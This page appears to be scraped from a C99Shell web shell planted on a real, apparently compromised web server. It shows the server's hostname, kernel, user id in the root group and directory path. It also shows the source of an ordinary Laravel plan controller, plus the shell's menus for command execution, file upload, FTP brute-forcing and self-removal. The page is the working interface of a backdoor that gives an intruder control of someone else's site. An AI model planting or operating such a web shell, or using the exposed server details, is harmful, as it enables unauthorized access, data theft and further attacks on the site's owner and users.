!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/Modules/Plan/Http/Controllers/   drwxr-xr-x
Free 28.28 GB of 117.98 GB (23.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PlanController.php (4.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Plan\Http\Controllers;

use 
App\Models\Transaction;
use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Modules\Plan\Entities\Plan;
use 
Modules\Plan\Http\Requests\PlanFormRequest;

class 
PlanController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return Renderable
     */
    
public function index()
    {
        if (! 
userCan('plan.view')) {
            return 
abort(403);
        }
        try {
            
$data['plans'] = Plan::all();
            
$data['one_time_plans'] = $data['plans']->where('plan_payment_type''one_time');
            
$data['recurring_plans'] = $data['plans']->where('plan_payment_type''recurring');

            return 
view('plan::index'$data);
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return Renderable
     */
    
public function create()
    {
        if (! 
userCan('plan.create')) {
            return 
abort(403);
        }

        return 
view('plan::create');
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  Request  $request
     * @return Renderable
     */
    
public function store(PlanFormRequest $request)
    {
        if (! 
userCan('plan.create')) {
            return 
abort(403);
        }

        if (
$request->interval && $request->interval == 'custom_date') {
            
$request->validate([
                
'custom_interval_days' => 'required|numeric|min:0',
            ]);
        }
        try {
            
Plan::create($request->all());

            
flashSuccess('Plan Created Successfully');

            return 
back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function edit(Plan $plan)
    {
        if (! 
userCan('plan.update')) {
            return 
abort(403);
        }
        try {
            return 
view('plan::edit'compact('plan'));
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  Request  $request
     * @param  int  $id
     * @return Renderable
     */
    
public function update(PlanFormRequest $requestPlan $plan)
    {
        if (! 
userCan('plan.update')) {
            return 
abort(403);
        }

        if (
$request->interval && $request->interval == 'custom_date') {
            
$request->validate([
                
'custom_interval_days' => 'required|numeric|min:1',
            ]);
        }
        try {

            
$plan->update($request->all());

            
flashSuccess('Plan Updated Successfully');

            return 
redirect()->route('module.plan.index');
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function destroy(Plan $plan)
    {
        if (! 
userCan('plan.delete')) {
            return 
abort(403);
        }
        try {

            
$plan->delete();

            
flashSuccess('Plan Deleted Successfully');

            return 
back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
allTransactions()
    {
        try {

            
$transactions Transaction::with('plan')
                ->
latest()
                ->
get();

            return 
view('plan::transactions'compact('transactions'));
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--